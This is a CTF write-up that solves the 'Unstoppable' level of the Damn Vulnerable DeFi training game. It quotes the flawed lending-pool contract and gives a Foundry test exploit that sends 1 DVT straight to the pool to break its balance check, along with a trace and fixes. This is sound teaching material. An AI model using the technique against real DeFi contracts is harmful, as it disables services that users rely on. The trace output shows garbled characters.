There are only a few days left to prepare for the Paradigm CTF 2022. Hence I’m going to spend this time solving the Damn Vulnerable DeFi challenges and then concentrate on playing the Paradigm CTF 2021.
Intro Link to heading
Damn Vulnerable DeFi is a CTF that simulates DeFi vulnerabilities created by @tinchoabbate. This game has 13 different levels featuring popular DeFi primitives such as lash loans, price oracles, governance, lending pools, integrations with Uniswap v2, Gnosis Safe wallets, timelocks, NFTs, upgradeability patterns and more. It is fun and enojoyable way to learn DeFi-related offensive security. Needless to say it requires some level of understanding of high level concepts behind those DeFi protocols.
Setup Link to heading
Here is the original refactored game repo that uses hardhat + ethers, but I’m going to play using the foundry version of it.
Challenge Link to heading
- The
UnstoppableLender
contract offers flash loans in DVT (ERC20) tokens for free. - It has 1000000 DVT in balance.
- We must solve this challenge by disabling functionality of this contract – stop the pool from offering flash loans.
- We start with 100 DVT tokens in balance.
Analysis Link to heading
There are two contracts in this challenge:
The UnstoppableLender
inherits from the
ReentrancyGuard
and each external
function has the nonReentrant
modifier.
Let’s have a look at contract’s state variables:
IERC20 public immutable damnValuableToken;
uint256 public poolBalance;
damnValuableToken
is DVT ERC20 token.poolBalance
is used for accounting and stores the sum of all deposits.
Now, let’s go over external functions:
depositTokens
function depositTokens(uint256 amount) external nonReentrant {
if (amount == 0) revert MustDepositOneTokenMinimum();
// Transfer token from sender. Sender must have first approved them.
damnValuableToken.transferFrom(msg.sender, address(this), amount);
poolBalance = poolBalance + amount;
}
- It requires the deposit of at least 1 DVT.
- Assumes that the
msg.sender
hasapprove
’d theamount
. - Updates the
poolBalance
so it reflects the total amount of DVT’s in a pool.
For some reason this contract keeps track of its DVT balance in
the poolBalance
storage variable instead of relying on the
dvt.balanceOf
function. Let’s keep this in mind.
flashLoan
Our challenge is to disable this function. Let’ take a look at it:
function flashLoan(uint256 borrowAmount) external nonReentrant {
if (borrowAmount == 0) revert MustBorrowOneTokenMinimum();
uint256 balanceBefore = damnValuableToken.balanceOf(address(this));
if (balanceBefore < borrowAmount) revert NotEnoughTokensInPool();
// Ensured by the protocol via the `depositTokens` function
if (poolBalance != balanceBefore) revert AssertionViolated();
damnValuableToken.transfer(msg.sender, borrowAmount);
IReceiver(msg.sender).receiveTokens(
address(damnValuableToken),
borrowAmount
);
uint256 balanceAfter = damnValuableToken.balanceOf(address(this));
if (balanceAfter < balanceBefore) revert FlashLoanHasNotBeenPaidBack();
}
- It takes the
borrowAmount
argument. - It checks that the balance of the borrowed token DVT is
greater than or equal to the
borrowAmount
. - It ensures that the
poolBalance
is equal to thebalanceBefore
.
๐ The problem is this line:
if (poolBalance != balanceBefore) revert AssertionViolated();
It is possible to transfer ERC20 tokens to any EOA/contract.
Hence we can directly send some DVT’s to the UnstoppableLender
(without calling the depositTokens
function) and break the
equality check above.
Exploit Link to heading
Sending just 1 DVT is enough:
function testExploit() public {
/** EXPLOIT START **/
vm.prank(attacker);
dvt.transfer(address(unstoppableLender), 1);
/** EXPLOIT END **/
vm.expectRevert(UnstoppableLender.AssertionViolated.selector);
validation();
}
Here is the trace:
$ forge test --match-contract Unstoppable -vvvv
Running 1 test for src/test/Levels/unstoppable/Unstoppable.t.sol:Unstoppable
[PASS] testExploit() (gas: 44892)
Logs:
๐งจ PREPARED TO BREAK THINGS ๐งจ
Traces:
[44892] Unstoppable::testExploit()
โโ [0] VM::prank(Attacker: [0x9af2e2b7e57c1cd7c68c5c3796d8ea67e0018db7])
โ โโ โ ()
โโ [12870] DVT::transfer(Unstoppable Lender: [...], 1)
โ โโ emit Transfer(from: Attacker: [...], to: Unstoppable Lender: [...], value: 1)
โ โโ โ true
โโ [0] VM::expectRevert(AssertionViolated())
โ โโ โ ()
โโ [0] VM::startPrank(User: [...])
โ โโ โ ()
โโ [11550] Receiver Unstoppable::executeFlashLoan(10)
โ โโ [8416] Unstoppable Lender::flashLoan(10)
โ โ โโ [562] DVT::balanceOf(Unstoppable Lender: [...]) [staticcall]
โ โ โ โโ โ 1000000000000000000000001
โ โ โโ โ "AssertionViolated()"
โ โโ โ "AssertionViolated()"
โโ [0] VM::stopPrank()
โ โโ โ ()
โโ โ ()
Remediation Link to heading
- Remove the strict equality check or replace it with inequality.
- Get rid of
poolBalance
and don’t track the pool’s balance.
Conclusion Link to heading
Don’t rely on your own accounting. The assumption that you can control contract’s balance is wrong.
References Link to heading
This SWC is related to forcible sending Ether (instead of an ERC20 token), but the main idea is the same: SWC-132 – Unexpected Ether balance (from the Smart Contract Weakness Classification and Test Cases).
Thanks for reading! Here is the test code with the solution. The next one is #2 Naive Receiver.